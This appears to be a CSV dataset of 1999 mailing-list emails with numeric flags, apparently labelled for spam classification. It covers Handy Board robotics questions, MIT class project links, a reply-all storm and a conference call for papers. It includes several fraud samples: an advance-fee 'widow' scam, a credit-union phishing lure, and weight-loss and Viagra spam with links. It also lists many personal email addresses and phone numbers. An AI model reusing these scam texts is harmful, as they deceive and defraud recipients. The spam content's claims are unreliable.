ilist@acpub.duke.edu, are100b@ucdavis.edu, me39e@me.berkeley.edu, sipa-u4320-3@cuvmc.ais.columbia.edu, beai-list@ihca.net, qsr.div.informs@umich.edu, soc310001.list@umich.edu, ArtistsWay@onelist.com, econ-w2261-2@cuvmc.ais.columbia.edu, econ-w3211-1@cuvmc.ais.columbia.edu, sloanabc@mit.edu, ws-102@lists.students.wisc.edu, kindertones@thekindertones.com, play99@media.mit.edu, friend@vispro.Eng.Sun.COM, lyris@listserv.weber.k12.ut.us, nsb97@phy.ucsf.edu, mass@lrc.hum.utah.edu, team5@ssic.saff.utah.edu, racquetball@cco.caltech.edu, james_crowd@email.unc.edu, nshl@otd.com, E-OnTheBall@bsu.edu","Fri, 14 May 1999 13:13:27 -0400",Remove from list,"Please remove me from your mailing list. Thanks. ",0,0 Alison Scheid ,Francesca Simon ,"Fri, 14 May 1999 10:46:59 -0700",Re: Fwd: Fwd: FW: Free Money !!!!!!!!!,"I don't know how I got on this list but please remove me. Thank You I don't know how I got on this list, but please remove me. Thank You acscheid@ucdavis.edu On Fri, 14 May 1999, Francesca Simon wrote: > I don't know how I got on this list but please remove me thank you. > --Francesca Simon > cheka@bu.edu > ",0,0 Marlin Thomas ,Sankaran Thayumanavan ,"Fri, 14 May 1999 12:56:51 -0500",REMOVE ME FROM YOUR MAILING LIST,"Please remove me from your mailing list(s). Marlin Thomas ",0,0 Daryl Felton ,handyboard@media.mit.edu,"Fri, 14 May 1999 14:05:59 -0100",Fast weight loss ,"From NBC Today Show: It's the look everyone wants � a body to diet for. They're on the beaches, in magazines and all over Hollywood. How far will we go to get one? How about thousands of miles and deep into a distant culture? South Africa�s Kalahari Desert is home to what could be the answer to an appetite. It's a cactus called hoodia. �You strip off the skin, you strip off the spines, and then you consume it,� says weight loss expert Madelyn Fernstrom. It`s a revolution! Read more.... http://051.cooldiethealthh.com appian you spain me, carey sea delicti . pageant you quartzite me, osmotic capsule hessian . indigestion you deniable me, abbey massey bidirectional farley . humorous you religiosity me, armchair gastrointestinal latrobe orographic . endure you skye me, batten . dung you carte me, bushnell . http://051.cooldiethealthh.com/rm/ ",1,1 Floralba Castillo ,"Chris Kilroy , Dean Engemoen , Carl Nelson , Steve Kramer , wrl@anti-social.com, ilist@acpub.duke.edu, are100b@ucdavis.edu, me39e@me.berkeley.edu, sipa-u4320-3@cuvmc.ais.columbia.edu, beai-list@IHCA.NET, qsr.div.informs@umich.edu, soc310001.list@umich.edu, ArtistsWay@onelist.com, econ-w2261-2@cuvmc.ais.columbia.edu, econ-w3211-1@cuvmc.ais.columbia.edu, sloanabc@mit.edu, ws-102@lists.students.wisc.edu, kindertones@thekindertones.com, play99@media.mit.edu, buas@bu-ast.bu.edu, friend@vispro.eng.sun.com, lyris@listserv.weber.k12.ut.us, nsb97@phy.ucsf.EDU, mass@lrc.hum.utah.edu, team5@ssic.saff.utah.edu, racquetball@cco.caltech.edu, james_crowd@email.unc.edu, nshl@otd.com, E-OnTheBall@bsu.edu","Fri, 14 May 1999 13:13:19 +0100",,"I don't know how I got on this fine list but please remove me Floralba Castillo ",0,0 Jason Wright ,Floralba Castillo ,"Fri, 14 May 1999 15:40:36 -0400",Re: your mail,"This has to stop. Please send no more messages like the one below or of any other sort to everyone on this email list: some of us have email quotas which are being exceeded making it impossible for us to receive email. The email of the person who started this thing is wrl@anti-social.com , the rest of us are innocent. Please feel free to complain to the folks at anti-social.com about this person's breech of netiquette; their website is http://www.anti-social.com . jason On Fri, 14 May 1999, Floralba Castillo wrote: > I don't know how I got on this fine list but please remove me > > Floralba Castillo > > > ",0,1 Chris Kilroy ,Alison Scheid ,"Fri, 14 May 1999 15:51:44 -0400",Re: Fwd: Fwd: FW: Free Money !!!!!!!!!,"can we please all make a deal to stop replying to this list, i know that i am only exacerbating the predicament , but i am trying to stop the insanity as they say. no one knows who started this, but i have a suspicion based on teh addresses which are getting bounced and so on, it was probably inside Columbia. at any rate, this list has become a self perpetuating demon and the more we all reply to it the worse it gets. so lets make this the last of it all and everyone delete any trace of this nonsense from there mailboxes. and most of all have a good weekend chris Alison Scheid wrote: > I don't know how I got on this list but please remove me. Thank You > > I don't know how I got on this list, but please remove me. Thank You > acscheid@ucdavis.edu > On Fri, > 14 May 1999, Francesca Simon wrote: > > > I don't know how I got on this list but please remove me thank you. > > --Francesca Simon > > cheka@bu.edu > > -- ----- Christopher M. Kilroy The Whitney Marine Laboratory - University of Florida 9505 Ocean Shore Blvd. St. Augustine, Florida 32086 (H): 904/461-3141 (W): 904/461-4035 (FAX): 904/461-4008 email: kilroyc@ufl.edu http://grove.ufl.edu/~kilroyc ",0,1 Christopher Hart ,Marlin Thomas ,"Fri, 14 May 1999 12:54:26 -0700",Re: REMOVE ME FROM YOUR MAILING LIST,"This list must die. Please everyone stop using it. Who ever started this list obviously just wanted to send it to a lot of people. Now it is time for everyone to stop. No more ""removal requests"" no more badgering, just STOP! -thank you- ",0,0 Chul-hun Han ,"""R.A. Gaunt"" ","Sat, 15 May 1999 08:22:33 +0900",Re: Miniature Stepper Motors,"I propose you to review technical specification of� ""light servo"" system for RC airplane of following web site. �������� http://www.idnet.de/homepage/scholl/index.html C.H.Han � � � ""R.A. Gaunt"" wrote: > This is more of a general question about the size and resolution of > stepper motors and linear actuators.� Basically, I was wondering if > anyone has any experience with very small high resolution actuators.� I > am trying to find out if stepper motors on the order of 10 mm in diameter > with angular resolutions of milliradians exist.� No gear trains would be > perferable as any backlash is a big problem.� What is the smallest > angular resolution that people have seen?� I am also looking for very > tiny linear actuators with about 5cm of travel and micron level > positioning.� Cost is not really a factor.� Thanks very much for your help. > > Robert Gaunt ",0,1 Carl Nelson ,"""Timothy E. Holy"" ","Fri, 14 May 1999 22:14:52 -0400",Re: Remove from list,"do not email me...dont know who you are but dont like you On Fri, 14 May 1999, Timothy E. Holy wrote: > Please remove nsb97@phy.ucsf.EDU from your mailing list. If any of the > individual members on the list want your email, you can add them > individually. Thanks. > > > ",0,0 Mitchel Resnick ,play99,"Sat, 15 May 1999 08:09:50 -0400",web pages,"As you know, each group was responsible for creating a Web page about its project (due yesterday). Please send the URL of your Web page to class mailing list, so we all know where to find it. (Kwin: Can you add links to the class Web page? Thanks.) M... ------------------------------------- Mitchel Resnick Associate Professor MIT Media Laboratory mres@media.mit.edu 617-253-9783 617-253-6215 (fax) ",0,0 Jason Jay ,play99@aleve.media.mit.edu,"Sat, 15 May 1999 10:33:53 -0400",RE: web pages,"The first version of the web site for the Musical Firefly by Tamara, Gil, and I is at http://www.fas.harvard.edu/~jay/pip99/firefly -Jason -----Original Message----- From: Mitchel Resnick [mailto:mres@media.mit.edu] Sent: Saturday, May 15, 1999 8:10 AM To: play99@aleve.media.mit.edu Subject: web pages As you know, each group was responsible for creating a Web page about its project (due yesterday). Please send the URL of your Web page to class mailing list, so we all know where to find it. (Kwin: Can you add links to the class Web page? Thanks.) M... ------------------------------------- Mitchel Resnick Associate Professor MIT Media Laboratory mres@media.mit.edu 617-253-9783 617-253-6215 (fax) ",0,1 sakar@servidor.unam.mx,handyboard@media.mit.edu,"Sun, 16 May 1999 09:53:43 -0600",Memory Problem?," I am in the downloading step on building a HandyBoard, I use the windows Handyboard download program, to download the pcode_hb.s19 file. All the process looks right, but in the Handyboard nothing happends. What can I do? Is it the 32k memory? Does anybody know a substitute for the memory use in the handy board? Thanks for the help Daniel --------------------------------------------------------------------- "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" --------------------------------------------------------------------- ",0,0 Saul Griffith ,play99@media.mit.edu,"Sat, 15 May 1999 14:52:24 -0400",high f'lutin' kites web URL,"The URL for our website - a work in progress? - www.media.mit.edu/~saul/ttf/play99/index.htm saul. ---------------------------------------------------------------------------- ----------------------------- Food comes first, then morals - Bertolt Brecht. Saul Griffith, Research Assistant, Micromedia Group, MIT Media Labs, E15-429, 20 Ames Street, Cambridge, MA, 02139 office phone: 253-5554 lab phone: 253-0988 home: (617) 441 6219 http://www.media.mit.edu/~saul ---------------------------------------------------------------------------- ----------------------------- ",0,1 Barbara Barry ,play99@media.mit.edu,"Sat, 15 May 1999 17:26:44 +0100",Fwd: bead web site,">X-Sender: barbara@ml.media.mit.edu >X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 >Date: Fri, 14 May 1999 16:45:24 +0100 >To: mres@media.mit.edu, mike@media.mit.edu, tod@media.mit.edu >From: Barbara Barry >Subject: bead web site >Cc: khkramer@media.mit.edu, jsmith@media.mit.edu, barbara@media.mit.edu > >hi > >here is the url for the bead group's web site > >http://ic.www.media.mit.edu/icPeople.hide/beads/ > >next monday the url will be changed to a media lab project path >instead of the ic server's >i'll send the new one >but you'll have access using either old or new > >and we'll add things along the way... > >cheers >barbara >",0,1 Credit Union ,,"Sat, 15 May 1999 12:46:54 -0600",Restore Account Access,"Credit Union is constantly working to ensure security by regularly screening the accounts in our system. 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Duncan ",0,0 George Corliss ,Dominique Faudot ,"Sun, 16 May 1999 21:01:06 -0500",Re: implicit function,"Dominique, > I am studying the following implicit function fi (x, y, z) = 2r^3-3r^2+1 > where r = sqrt((x, xi)^2+(y-yi)^2+(z-zi)^2) > > (^ = power ; sqrt = square root ) > > I define three intervals X, Y, Z and i evaluate F (X, Y, Z) for > different real values of xi, yi and zi. > > For instance X= [0,2], Y = [0, 2] Z = [0, 0] xi, = 1, yi = 1 and zi = 0 > > But results are surprising. I mean that i find as a result the interval > [f(0,0,0), f(2,2,0)] that are the exact values of f function on bounds > of X, Y, Z. You are wise to be suspicious. You do not say what values you computed, but I get f(0,0,0) = f(2,2,0) = 0.6568...; f(1,1,0) = 1; f(2,1,0) = 0. Considering the graph of f(r) shows f(X, Y, Z) = [0, 1]. By my computation, naive interval arithmetic gives f(X, Y, Z) in [-5, 6.6568...]: r = sqrt ( [-1, 1]^2 + [-1, 1]^2 + [0, 0]^2) = sqrt ( [0, 2] ) = [0, sqrt (2)] f = 2*[0, sqrt(2)]^3 - 3*[0, sqrt(2)]^2 + 1 = [0, 2^(5/2)] + [-6, 0] + 1 = [-5, 1+2^(5/2)] = [-5, 6.6568...] If we rewrite f = (2r - 3) r^2 + 1 f = (2 [0, sqrt(2)] - 3) [0, sqrt(2)]^2 + 1 = [-3, -3 + 2^(3/2)] [0, 2] + 1 = [-5, 1], which is tighter Other formulations (e.g. mean value form) should give tighter bounds. Hope this helps. George F. Corliss Dept. Math, Stat, Comp Sci Marquette University P.O. Box 1881 Milwaukee, WI 53201-1881 USA georgec@mscs.mu.edu; CorlissG@Marquette.edu http://www.mscs.mu.edu/~georgec/ Office: 414-288-6599; Dept: 288-7375; Fax: 288-5472 ",0,1 """Mrs.Regina Ahmed."" ","""Mrs.Regina Ahmed."" ","Sun, 16 May 1999 15:22:08 -1100",God Bless You.,"Greetings, My name is Mrs.Regina Ahmed, widow to late Mr. Hassan Ahmed,fomer owner of PETROLEUM AND GAS company ,here in kuwait.I am 68years old, suffering from long time cancer of the breast.From all indications my condition is really deteriorating and it's quite obvious that I won't live more than 2 months according to my doctors.This is because the cancer stage has gotten to a very bad stage. i dont want your pity but i need your trust. My late husband died early last year from heart attack, and during the period of our marriage we couldn't produce any child. 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Thanks in advance, Bob Bailey ",0,0 Joey Sims ,"""'ggilfoyl@richmond.edu'"" ","Mon, 17 May 1999 10:38:56 -0400",Cluster,"Mr. Gilfoyle, We are waiting for a few more parts for your order. The order should be completed this week. Sincerely, Joey P. Sims Senior Account Executive Atlanta, GA joey.sims@ponycomputer.com Toll Free (888) 809-1588 x 105 Fax (770) 806-1566 ",0,0 Will Bain ,Handyboard Mailing List ,"Mon, 17 May 1999 08:57:08 -0600",Re: Miniature Stepper Motors,"""R.A. Gaunt"" wrote: > This is more of a general question about the size and resolution of > stepper motors and linear actuators. Basically, I was wondering if > anyone has any experience with very small high resolution actuators. I > am trying to find out if stepper motors on the order of 10 mm in diameter > with angular resolutions of milliradians exist. No gear trains would be > perferable as any backlash is a big problem. What is the smallest > angular resolution that people have seen? I am also looking for very > tiny linear actuators with about 5cm of travel and micron level > positioning. Cost is not really a factor. Thanks very much for your help. I have no direct experience, but I asked around about small, precise linear actuators. Oriel, Aerotech and Newport are among the companies that have catalogs full of such items. I don't have contact info, but I'm sure a search of the internet would start you in the right direction. Good luck. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, My ancestors were Puritans from England. Will Bain, They arrived here in 1648 in the hope of finding & Tatoosh greater restrictions than were permissible under English law at that time. -- Garrison Keillor ",0,0 Jean-Christophe ,reliable_computing@interval.usl.edu,"Mon, 17 May 1999 18:32:00 +0200",listserv,"HI, I'm a french student from the'universite joseph fourier' and I would like to be inscripted on your mailing list. My e-mail adress is tempestj@boole.imag.fr Thanks, Jean-Christophe Tempesta ",0,0 Eduardo Gonzalez ,handyboard@media.mit.edu,"Mon, 17 May 1999 10:29:34 -0500",Memory Help !!!!!!!!,"hi,hi,hi is anybody there?.. please help us, we are just at one step of receiving the message of the interactive c on tht lcd of the handy board ,after downloading the pcode_hb.s19, what sould we do. Does anybody knows a substitute for the 62256LP-120, 32k static ram? we are using the 65256BP-15, and we are not sure that it works like the 62256-12LP. Any idea, please help us. Thanks Eduardo Gonzalez ",0,0 Gary Livick ,"""Robert M. Bailey"" , handyboard@media.mit.edu","Mon, 17 May 1999 09:09:44 -0700",Re: Interactive C,"Dear Bob, I have been using IC for a couple of years, with no prior experience in C. IC is a very small subset of C, as I've learned by studying ANSI C in the last few weeks. The full bore language is a challenge to learn, although you can do it on your own with a little discipline and a lot of time. However, you can learn IC much more quickly, and since you have no need of ANSI C, learning it would be a huge waste of time. You can easily learn IC on your own by using the available resources, and by getting yourself a copy of ""Mobile Robots, From Inspiration to Implementation."" There are tons of IC examples in that book. You will also need to build up a robot using your Handy Board. You can learn a lot by just having motors and a couple of bump senors and light sensors. The Mobile Robots book has schematics, and the circuits are easier to do than the hardware. Other than the Mobile Robots book, there is no other text dealing with IC that I am aware of. Fred is working on a book according to his website, but I'm not sure of the status of that. Dr. Martin? Good luck, and let me know if you get stuck on anything or have other questions. Gary Livick http://www.lightwaverobotics.com ",0,1 """Patrick P.K. Hui"" ","""Robert M. Bailey"" ","Tue, 18 May 1999 00:30:59 +0800",Re: Interactive C,"Hello Robert, Besides other general C books, you can consult Interactive-C User's Guide from the following site. It gives you a clear explanation of basic C issue in addition of programming Interactive-C on Handyboard system. http://www.newtonlabs.com/ic/ Hope it helps. Best Regards, Patrick Hui --00-------------------------------------------------------- Robot Store (HK) Low cost MIT Handyboard supplier and Official Distributor of Interactive-C 3.x Official Distributor of Imagecraft ANSI-C Compilers ** An intelligent C programmable controller board to build your own Mobile Robot WWW: http://home.hkstar.com/~huip for more info Tel: +(852) 2563-8511 Mobile: +(852) 9752-0677 Fax: +(852) 2887-2519 or +(852) 2851-0804 E-mail: huip@hkstar.com -----Original Message----- From: Robert M. Bailey To: handyboard@media.mit.edu Date: Monday, May 17, 1999 10:31 PM Subject: Interactive C Hello list, Beyond the handyboard I have little need for C and I'm not very good at it. Is there any one book that would be of particular value for this case? That is all I want to do is learn enough to program the handyboard. I bought several books and they are so general that I find them of little vale. Thanks in advance, Bob Bailey",0,1 Satish Chetty ,handyboard@media.mit.edu,"Mon, 17 May 1999 13:14:56 -0400",," -------------------------------------------------------------------------------- Fortune cookie for the mail...generated automatically by the server. To understand this important story, you have to understand how the telephone company works. Your telephone is connected to a local computer, which is in turn connected to a regional computer, which is in turn connected to a loudspeaker the size of a garbage truck on the lawn of Edna A. Bargewater of Lawrence, Kan. Whenever you talk on the phone, your local computer listens in. If it suspects you're going to discuss an intimate topic, it notifies the computer above it, which listens in and decides whether to alert the one above it, until finally, if you really humiliate yourself, maybe break down in tears and tell your closest friend about a sordid incident from your past involving a seedy motel, a neighbor's spouse, an entire religious order, a garden hose and six quarts of tapioca pudding, the top computer feeds your conversation into Edna's loudspeaker, and she and her friends come out on the porch to listen and drink gin and laugh themselves silly. -- Dave Barry, ""Won't It Be Just Great Owning Our Own Phones?"" -------------------------------------------------------------------------------- ",0,0 Satish Chetty ,handyboard@media.mit.edu,"Mon, 17 May 1999 13:16:19 -0400",Driving motors,"Monday, 17th day of May, 1999, 01:15 PM, EST. Is the HB protected from back EMF from miniture DC motors? -Satish. -------------------------------------------------------------------------------- Fortune cookie for the mail...generated automatically by the server. Worst Vegetable of the Year: The brussels sprout. This is also the worst vegetable of next year. -- Steve Rubenstein -------------------------------------------------------------------------------- ",0,0 Evan Noynaert ,handyboard@media.mit.edu,"Mon, 17 May 1999 13:59:59 -0500",Re: Interactive C,"I agree with Gary Livick, the best way to learn is by doing. My first program on the handyboard just displayed a message on the screen. My second program was to plug a couple of different resistors into the analog ports and print out the different values. One word of advice on C books: Stay away from C++. You probably want books that feature ANSI C because it is much more like IC than C++. When Gary Livick said that you don't need to know ANSI C, I think he meant that you don't need to know the entire language. I agree with that. However, IC and ANSI C are similar enough that books on basic ANSI C should be of some help. Assuming that you use the free version of IC at first, you can skip anything that has to do with the precompiler (like the #include statements). You can also skip over the structs. Pointers tend to be one of the most confusing topics in C, but you can write a lot of IC code without using pointers. Learn about pointers after you are familiar with the basics. At 09:09 AM 5/17/99 -0700, Gary Livick wrote: >Dear Bob, > >I have been using IC for a couple of years, with no prior experience in >C. IC is a very small subset of C, as I've learned by studying ANSI C >in the last few weeks. The full bore language is a challenge to learn, >although you can do it on your own with a little discipline and a lot of >time. However, you can learn IC much more quickly, and since you have >no need of ANSI C, learning it would be a huge waste of time. > >You can easily learn IC on your own by using the available resources, >and by getting yourself a copy of ""Mobile Robots, From Inspiration to >Implementation."" There are tons of IC examples in that book. You will >also need to build up a robot using your Handy Board. You can learn a >lot by just having motors and a couple of bump senors and light >sensors. The Mobile Robots book has schematics, and the circuits are >easier to do than the hardware. > >Other than the Mobile Robots book, there is no other text dealing with >IC that I am aware of. Fred is working on a book according to his >website, but I'm not sure of the status of that. Dr. Martin? > >Good luck, and let me know if you get stuck on anything or have other >questions. > >Gary Livick >http://www.lightwaverobotics.com > > > > -- Evan Noynaert, Department of Computer Science, Mathematics, & Physics noynaert@griffon.mwsc.edu phone: 816/271-4308 fax: 816/271-4574 Missouri Western State College St. Joseph, Missouri, USA 64507 ",0,1 Justin Jacobsen ,handyboard@media.mit.edu,"Mon, 17 May 1999 14:39:05 -0500",RE: Memory Problem?,"Hello there. This message is in Response to Eduardo's and Daniel's Questions. Are you guys remembering to put the HandyBoard in bootstrap Download mode and burn the Board with the ""Config0c.s19"" file? Let me know what you have tried to get it to work, and I will see if I can help more. Regards, Justin > -----Original Message----- > From: sakar@servidor.unam.mx [mailto:sakar@servidor.unam.mx] > Sent: Sunday, May 16, 1999 10:54 AM > To: handyboard@media.mit.edu > Subject: Memory Problem? > > > > I am in the downloading step on building a HandyBoard, I use the windows > Handyboard download program, to download the pcode_hb.s19 file. All the > process looks right, but in the Handyboard nothing happens. > > What can I do? > Is it the 32k memory? > Does anybody know a substitute for the memory use in the handy board? > > Thanks for the help > > > Daniel > > > > > --------------------------------------------------------------------- > "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" > --------------------------------------------------------------------- > ",0,0 Scott Moore ,handyboard@media.mit.edu,"Mon, 17 May 1999 14:06:58 -0700",LCD,"I remember seeing messages about the LCD for Hitachi no longer being available, but I have seemed to have misplaced them. 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But I am haveing a hard time location the memory location to send controls to the outputs to control the motors ~ I found this on a site listed in a responce to a stepper motor question ~ it explains what value to send to turn on and to sellect the specific motor: 7 Channel 3 enable 128 6 Channel 2 enable 64 5 Channel 1 enable 32 4 Channel 0 enable 16 3 Channel 3 direction 8 2 Channel 2 direction 4 1 Channel 1 direction 2 0 Channel 0 direction 1 But please excuse my lack of knowledge ~ What memory address do I send these values too??????? Also ~ in my project I need to access the value from a IR sensor I have purchased ~ it returns a 0 for an object detected and an 1 for no object detected ~ What memory location can I read this from ~ I need 2 inputs and can minuplate them useing logical shift right or left to stripp off the unwanted buits and do a evaluation of that bit fronm there for the 2 inputs ~ on the handy baord there is a set of headers labled 10 to 15 for digital inputs ~ what is the memory location of these 6 inputs??? Thank You, Lost newbee ~ lol Steve ",0,0 Fruzsina Gebhart ,handyboard@media.mit.edu,"Mon, 17 May 1999 21:59:08 -0700",Re: your VttAGRA,"Hi Look, this information might be pretty interesting for you P X L A C V V r a e m I A I o n v b A L A z a i i L I G a x t e I U R c ra n S M A http://www.olkacharek.com either side in a sort of darkened green glimmer. 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In particular, simultaneous submission of the same contribution to multiple ETAPS conferences is forbidden. Papers should be submitted electronically in Postscript form. Contact the relevant programme committee chairman if electronic submission is impossible or if you have no access to WWW. The proceedings of each main conference will be published as a separate volume in the Springer-Verlag Lecture Notes in Computer Science series. Final papers will be no more than 15 pages long in the format specified by Springer-Verlag in http://www.springer.de/comp/lncs/Authors.html. It is recommended that submissions adhere to that format and length. Submissions that are clearly too long may be rejected immediately. E-mail addresses and fax numbers of the authors should be included on the title page. Information on how to submit your paper can be found on each conference's web-page. Submission Deadline: 18th October 1999 Conferences, Tutorials, Tool Demonstrations and Satellite Events ------------------------------------------------------------------- CC 2000 CC 2000 will be a forum for presentation and discussion of recent developments in language processors and language design, with an emphasis on practical methods and tools. Topics include, but are not restricted to: - compilation and interpretation techniques including parsing, type checking, static analysis, code generation, and code optimisation; - integrated programming environments; - processing of imperative, object-oriented, concurrent, real-time, functional, and logic programming languages; - compilation for non-standard architectures, including parallelisation issues; - compilation for distributed heterogeneous networks (""Web computing""); - processing of query languages, command languages, and application languages; - language-oriented editing and high-level debugging. Program committee Eigenmann, Rudolf (USA), Eisenbeis, Christine (France), Ferdinand, Christian (Germany), Hedin, Goerel (Sweden), Michel, Olivier (France), Peyton Jones, Simon (UK), Rauchwerger, Lawrence (USA), Shmuel (Mooly) Sagiv(Israel), Seidl, Helmut (Germany), Simons, Martin (Germany), Tseng, Chau-Wen (USA), Watson, Bruce (S. Africa), Watt, David (UK), Zima, Hans (Austria), Chairman: David Watt, daw@dcs.gla.ac.uk Further Information: http://www.dcs.gla.ac.uk/~cc2000 Invited Speaker: Reinhard Wilhelm, Universitaet des Saarlandes, Germany -------------------------------------------------------------------------- ESOP 2000 - European Symposium onProgramming ESOP is an annual conference devoted to the design, specification and analysis of programming languages and programming systems. Both practical and theoretical papers are welcome. Possible topics include: Programming paradigms and their integration, including concurrent, functional, logic and object-oriented; computational calculi and semantics; type systems, program analysis and concomitant constraint systems; program transformation; programming environments and tools. Papers pointing out new directions or combining theory and practice are particularly encouraged. Program committee Gerard Boudol, INRIA, Sophia-Antipolis, France, Sophia Drossopoulou, Imperial College, London, UK, Matthias Felleisen, Rice University, Houston, US, Michael Franz, UC Irvine, US, Manuel Hermenegildo, TU Madrid, Spain, Xavier Leroy, INRIA Rocquencourt, France, Alan Mycroft, Cambridge University, UK, Martin Odersky, EPF Lausanne, Switzerland, Andreas Podelski, MPI, Saarbruecken, Germany, Gert Smolka, chair, UdS, Saarbruucken, Germany, Peter Thiemann, Uni Freiburg, Germany, Mads Tofte, Uni Copenhagen, Denmark, Pascal van Hentenryck, Uni Louvain, Belgium, Chairman: Gert Smolka, UdS, Saarbruecken, Germany, smolka@ps.uni-sb.de Invited Speaker: Martin Odersky, EPF Lausanne, Switzerland ------------------------------------------------------------------------- FASE 2000 To achieve the status of a proper engineering discipline, Software Engineering requires engineering design and analysis METHODS which are firmly grounded on scientifically sound concepts as well as well founded software tools and analyses based on sound engineering principles. Fundamental approaches are sought, integrating formal approaches with principled methods, providing the bridge between theory and practice and aimed at producing engineering methods and tools for the various phases of software development. FASE is intended to provide a forum where fundamental approaches to Software Engineering are presented, compared and discussed. Contributions should focus on the problems and methods of Software engineering; papers are especially welcome on the following topics: - Methods for the design of high quality software, relying on formal approaches tospecification, refinement, testing and validation - The use of program derivation and transformation methods to support software production - Integration of formal notations and methods with engineering notations and methods - Combining programming in the small and programming in the large; - design of software architectures - Principled approaches to reverse engineering, legacy software, reuse and evolution - Case studies of the application of principled Software Engineering methods - Reports evaluating industrial experience of the use of Software Engineering methods - Rigorous experimental studies of the effectiveness and applicability of principled methods Program committee Gul Agha, University of Illinois Urbana, David Basin, Albert-Ludwigs-Universitaet Freiburg, Dan Craigen, ORA Canada, Peter Dybjer, Chalmers University of Technology, Jose Luiz Fiadeiro, University of Lisbon, Jean-Pierre Finance, University of Nancy, Hans-Dieter Ehrich, Technical University of Braunschweig, Michael Lowry, NASA Ames Research Center, Jeff Magee, Imperial College, Tom Maibaum (chair), Imperial College, Dino Mandrioli, Politecnico di Milano, Narciso Marti Oliet, Universidad Complutense Madrid, Peter Mosses, University of Aarhus, Andrzej Tarlecki, University of Warsaw, Chairman: Tom Maibaum Professor of the Foundations of Software Engineering Department of Computing, Imperial College, 180 Queen's gate, London SW7 2BZUK tel: +44 171 5948274, fax: +44 171 5818024email: tsem@doc.ic.ac.uk or concerning the conference fase2000@doc.ic.ac.uk Invited Speaker: Wladyslaw M. Turski, University of Warsaw --------------------------------------------------------------------- FOSSACS 2000 FOSSACS seeks papers which offer progress in foundational research with a clear significance for software science. A central issue is theories and methods which support the specification, transformation, verification, and analysis of programs and software systems. Topics covered are: - Computational and syntactic foundations of software science: computation processes overdiscrete and continuous data, techniques for their manipulation, and their algorithmic, algebraic, and logical properties; - Transition systems, models of concurrency and reactive systems, and corresponding calculi, algebras, and logics; - Type theory, domain theory, and their connections to semantics Program committee Andre Arnold (Bordeaux), Mariangiola Dezani (Torino), Harald Ganzinger (Saarbruecken), Georg Gottlob (Vienna), Fritz Henglein (Copenhagen), Jean-Pierre Jouannaud (Orsay), Dexter Kozen (Ithaca NY), Marta Kwiatkowska (Birmingham), Giuseppe Longo (Paris), Andrew Pitts (Cambridge), Wolfgang Thomas (Aachen), Glynn Winskel (Aarhus), Moshe Y. Vardi (Houston TX), Jerzy Tiuryn (Warsaw, chair) Chairman: Jerzy Tiuryn (PC chair), tiuryn@mimuw.edu.pl Invited Speaker: Abbas Edalat, Imperial College, London ---------------------------------------------------------------------- TACAS 2000 TACAS is a forum for researchers, developers and users interested in rigorously based tools for the construction and analysis of systems. The conference serves to bridge the gaps between different communities --- including but not limited to those devoted to formal methods, real-time, software engineering, communications protocols, hardware, theorem proving, and programming languages --- that have traditionally had little interaction but share common interests in, and techniques for,tool development. In particular, by providing a venue for the discussion of common problems, heuristics, algorithms, data structures and methodologies, TACAS aims to support researchers in their quest to improve the utility, reliability, flexibility and efficiency of TOOLs for building systems. Tool descriptions and case studies with a conceptual message and theoretical papers with a clearlink to tool construction are particularily encouraged. The specific topics covered by the conference include, but are not limited to, the following. - verification and construction techniques; - compositional and refinement-based methodologies; - test generation; - theorem-proving and model checking; - analytical techniques for real-time, hybrid and safety-critical systems; - tool environments and tool architectures; - applications and case studies. All accepted contributions will receive the same space in the conference schedule and in the proceedings, and technical support will be provided for allowing presenters to demonstrate their tools during their talks. Facilities will also be available for informal tool demonstrations during the conference. As TACAS addresses a heterogeneous audience, potential authors are strongly encouraged to write about their ideas in general and jargon-independent, rather than application-and domain-specific, terms. Program committee Tom Ball (USA), Ed Brinksma (NL), Rance Cleaveland (USA), Matthew Dwyer (USA), Fausto Giunchiglia (I), Susanne Graf (F, chair), Constance L. Heitmeyer (USA), Gerard Holzmann (USA), Claude Jard (F), Joost N. Kok (NL), Kim Larsen (DK), Tiziana Margaria (D), Michael Schwartzbach (DK, chair), Bernhard Steffen (D), Perdita Stevens (GB), Wang Yi (Sweden), Chairwoman: Susanne Graf tel : (+33) (0)4 76 63 48 52, 76 63 48 48 (secr) fax : (+33) (0)4 76 63 48 50, VERIMAG, Centre Equation 2 avenue de la Vignate, F - 38610 Gieres http://www-verimag.imag.fr/PEOPLE/Susanne.Graf e-mail: Susanne.Graf@imag.fr Further Information: http://www-verimag.imag.fr/TACAS2000 Invited Speaker: Pierre Wolper, University of Liege ---------------------------------------------------------------------- Tutorials Proposals for half-day or full-day tutorials related to ETAPS 2000 are invited. Tutorial proposals will be evaluated on the basis of their assessed benefit for prospective participants to ETAPS 2000. Submissions are to be in the form of a proposal of maximum 10 pages for review purposes. Proposals should include a description of the material that will be covered in the tutorial; a justification of the relevance ofthe tutorial for ETAPS 2000; a short history of the tutorial in the event it has been given before; duration of the tutorial; scope of the tutorial; the key learning objectives for the participants; the intended audience for the tutorial and required background; andthe credentials of the instructor(s). Submissions should be sent by October 18, 1999, preferably electronically (plain text or uuencoded gzipped Postscript), to: J. FiadeiroETAPS 2000 University of Lisbon, Depart. of Informatics Faculty of Sciences Campo Grande 1700 Lisboa, Portugal llf@di.fc.ul.pt ------------------------------------------------------------------------ Tool Demonstrations Demonstrations of tools presenting advances on the state of the art are invited. Submissions in this category should present tools having a clear connection to one of the main ETAPS conferences, possibly complementing a paper submitted separately. Submissions in this category should not be confused with contributions to TACAS, which emphasizes principles of tool design, implementation, and use, rather than focusing on specific domains of application. Tool demonstrations will be presented in devoted conference sessions with state-of-the-art projection facilities. Authors of accepted demos will be asked to contribute a short paper to the proceedings of the relevant ETAPS conference. Submissions should take the form of a tool description of no more than 4 pages in theSpringer-Verlag LNCS format. The ETAPS conference within whose purview the tool falls should be clearly indicated on the title page. At least one screen snapshot should be provided to allow the selection committee to get some impression of the quality of the user interface. A specification of the hardware and software requirements for installing and demonstrating the tool must be provided.Screen snapshots and the hardware/software specification are not included in the page limit unless they constitute part of the description of the tool. Don Sannella ETAPS'2000, Laboratory for Foundations of Computer Science University of Edinburgh Edinburgh EH9 3JZSCOTLAND E-mail: etaps2000-demo@dcs.ed.ac.uk WWW: 